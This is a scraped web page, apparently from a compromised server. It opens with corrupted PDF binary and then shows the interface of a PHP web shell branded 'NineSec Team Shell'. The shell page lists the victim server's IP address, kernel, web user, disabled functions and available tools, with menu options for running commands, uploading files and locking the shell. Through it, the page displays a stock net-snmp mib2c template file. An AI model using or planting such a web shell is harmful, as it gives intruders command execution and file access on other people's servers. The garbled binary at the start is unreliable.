%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.6
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/snmp/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/snmp/mib2c.old-api.conf
## -*- c -*-
######################################################################
## Do the .h file
######################################################################
@open ${name}.h@
/*
 * Note: this file originally auto-generated by mib2c
 * using mib2c.old-api.conf
 */
#ifndef $name.uc_H
#define $name.uc_H

/* function declarations */
void init_$name(void);
FindVarMethod var_$name;
@foreach $i table@
FindVarMethod var_${i};
@end@
@foreach $i scalar@
    @if $i.settable@
    WriteMethod write_${i};
    @end@
@end@
@foreach $i table@
 @foreach $c column@
    @if $c.settable@
    WriteMethod write_${c};
    @end@
 @end@
@end@

#endif /* $name.uc_H */
######################################################################
## Do the .c file
######################################################################
@open ${name}.c@
/*
 * Note: this file originally auto-generated by mib2c
 * using mib2c.old-api.conf
 */

#include <net-snmp/net-snmp-config.h>
#include <net-snmp/net-snmp-includes.h>
#include <net-snmp/agent/net-snmp-agent-includes.h>
#include "${name}.h"

/* 
 * ${name}_variables_oid:
 *   this is the top level oid that we want to register under.  This
 *   is essentially a prefix, with the suffix appearing in the
 *   variable below.
 */

oid ${name}_variables_oid[] = { $name.commaoid };

/* 
 * variable4 ${name}_variables:
 *   this variable defines function callbacks and type return information 
 *   for the $name mib section 
 */

struct variable4 ${name}_variables[] = {
/*  magic number        , variable type , ro/rw , callback fn  , L, oidsuffix */
@eval $magic = 0@
@eval $namelen = length("$name.commaoid")@
@foreach $i scalar@
    @eval $magic = $magic + 1@
    @eval $suffix = substr("$i.commaoid", $namelen + 1)@
    @eval $suffixlen = $i.oidlength - $name.oidlength@
#define $i.uc		$magic
    @if $i.settable@
{$i.uc,  $i.type,  NETSNMP_OLDAPI_RWRITE,
 var_${name}, $suffixlen,  { $suffix }},
    @end@
    @if !$i.settable@
{$i.uc,  $i.type,  NETSNMP_OLDAPI_RONLY,
 var_${name}, $suffixlen,  { $suffix }},
    @end@
@end@

@foreach $i table@
 @eval $magic = 0@
 @eval $nlen2 = length("$i.commaoid")@
 @if $nlen2 > $namelen@
  @eval $suffix = substr("$i.commaoid", $namelen + 1)@
  @eval $ctmp = ","@
 @else@
  @eval $suffix = ""@
  @eval $ctmp = ""@
 @end@
 @eval $suffixlen = $i.oidlength - $name.oidlength + 2@
 @foreach $c column@
    @eval $magic = $magic + 1@
#define $c.uc		$magic
    @if $c.settable@
{$c.uc,  $c.type,  NETSNMP_OLDAPI_RWRITE,
 var_${i}, $suffixlen,  { $suffix $ctmp 1, $c.subid }},
    @end@
    @if !$c.settable@
{$c.uc,  $c.type,  NETSNMP_OLDAPI_RONLY,
 var_${i}, $suffixlen,  { $suffix $ctmp 1, $c.subid }},
    @end@
 @end@
@end@
};
/*    (L = length of the oidsuffix) */


/** Initializes the $name module */
void
init_$name(void)
{

    DEBUGMSGTL(("$name", "Initializing\n"));

    /* register ourselves with the agent to handle our mib tree */
    REGISTER_MIB("$name", ${name}_variables, variable4,
               ${name}_variables_oid);

    /* place any other initialization junk you need here */
}

/*
 * var_$name():
 *   This function is called every time the agent gets a request for
 *   a scalar variable that might be found within your mib section
 *   registered above.  It is up to you to do the right thing and
 *   return the correct value.
 *     You should also correct the value of "var_len" if necessary.
 *
 *   Please see the documentation for more information about writing
 *   module extensions, and check out the examples in the examples
 *   and mibII directories.
 */
unsigned char *
var_$name(struct variable *vp, 
                oid     *name, 
                size_t  *length, 
                int     exact, 
                size_t  *var_len, 
                WriteMethod **write_method)
{
    /* variables we may use later */
    static long long_ret;
    static u_long ulong_ret;
    static unsigned char string[SPRINT_MAX_LEN];
    static oid objid[MAX_OID_LEN];
    static struct counter64 c64;

    if (header_generic(vp,name,length,exact,var_len,write_method)
                                  == MATCH_FAILED )
    return NULL;

    /* 
   * this is where we do the value assignments for the mib results.
   */
    switch(vp->magic) {
@foreach $i scalar@
    case $i.uc:
    @if $i.settable@
        *write_method = write_${i};
    @end@
        VAR = VALUE;	/* XXX */
        return (u_char*) &VAR;
@end@
    default:
      ERROR_MSG("");
    }
    return NULL;
}


@foreach $i table@
/*
 * var_$i():
 *   Handle this table separately from the scalar value case.
 *   The workings of this are basically the same as for var_$name above.
 */
unsigned char *
var_$i(struct variable *vp,
    	    oid     *name,
    	    size_t  *length,
    	    int     exact,
    	    size_t  *var_len,
    	    WriteMethod **write_method)
{
    /* variables we may use later */
    static long long_ret;
    static u_long ulong_ret;
    static unsigned char string[SPRINT_MAX_LEN];
    static oid objid[MAX_OID_LEN];
    static struct counter64 c64;

    /* 
   * This assumes that the table is a 'simple' table.
   *	See the implementation documentation for the meaning of this.
   *	You will need to provide the correct value for the TABLE_SIZE parameter
   *
   * If this table does not meet the requirements for a simple table,
   *	you will need to provide the replacement code yourself.
   *	Mib2c is not smart enough to write this for you.
   *    Again, see the implementation documentation for what is required.
   */
    if (header_simple_table(vp,name,length,exact,var_len,write_method, TABLE_SIZE)
                                                == MATCH_FAILED )
    return NULL;

    /* 
   * this is where we do the value assignments for the mib results.
   */
    switch(vp->magic) {
@foreach $c column@
    case $c.uc:
    @if $c.settable@
        *write_method = write_${c};
    @end@
        VAR = VALUE;	/* XXX */
        return (u_char*) &VAR;
@end@
    default:
      ERROR_MSG("");
    }
    return NULL;
}
@end@

@foreach $i scalar@
@if $i.settable@


int
write_$i(int      action,
            u_char   *var_val,
            u_char   var_val_type,
            size_t   var_val_len,
            u_char   *statP,
            oid      *name,
            size_t   name_len)
{
    $i.decl value;
    int size;

    switch ( action ) {
        case RESERVE1:
          if (var_val_type != $i.type) {
              fprintf(stderr, "write to $name not $i.type\n");
              return SNMP_ERR_WRONGTYPE;
          }
          if (var_val_len > sizeof($i.decl)) {
              fprintf(stderr,"write to $name: bad length\n");
              return SNMP_ERR_WRONGLENGTH;
          }
          break;

        case RESERVE2:
          size  = var_val_len;
          value = * ($i.decl *) var_val;

          break;

        case FREE:
             /* Release any resources that have been allocated */
          break;

        case ACTION:
             /*
              * The variable has been stored in 'value' for you to use,
              * and you have just been asked to do something with it.
              * Note that anything done here must be reversable in the UNDO case
              */
          break;

        case UNDO:
             /* Back out any changes made in the ACTION case */
          break;

        case COMMIT:
             /*
              * Things are working well, so it's now safe to make the change
              * permanently.  Make sure that anything done here can't fail!
              */
          break;
    }
    return SNMP_ERR_NOERROR;
}
@end@
@end@

@foreach $i table@
@foreach $c column@
@if $c.settable@
int
write_$c(int      action,
            u_char   *var_val,
            u_char   var_val_type,
            size_t   var_val_len,
            u_char   *statP,
            oid      *name,
            size_t   name_len)
{
    $c.decl value;
    int size;

    switch ( action ) {
        case RESERVE1:
          if (var_val_type != $c.type) {
              fprintf(stderr, "write to $name not $c.type\n");
              return SNMP_ERR_WRONGTYPE;
          }
          if (var_val_len > sizeof($c.decl)) {
              fprintf(stderr,"write to $name: bad length\n");
              return SNMP_ERR_WRONGLENGTH;
          }
          break;

        case RESERVE2:
          size  = var_val_len;
          value = * ($c.decl *) var_val;

          break;

        case FREE:
             /* Release any resources that have been allocated */
          break;

        case ACTION:
             /*
              * The variable has been stored in 'value' for you to use,
              * and you have just been asked to do something with it.
              * Note that anything done here must be reversable in the UNDO case
              */
          break;

        case UNDO:
             /* Back out any changes made in the ACTION case */
          break;

        case COMMIT:
             /*
              * Things are working well, so it's now safe to make the change
              * permanently.  Make sure that anything done here can't fail!
              */
          break;
    }
    return SNMP_ERR_NOERROR;
}
@end@
@end@
@end@

NineSec Team - 2022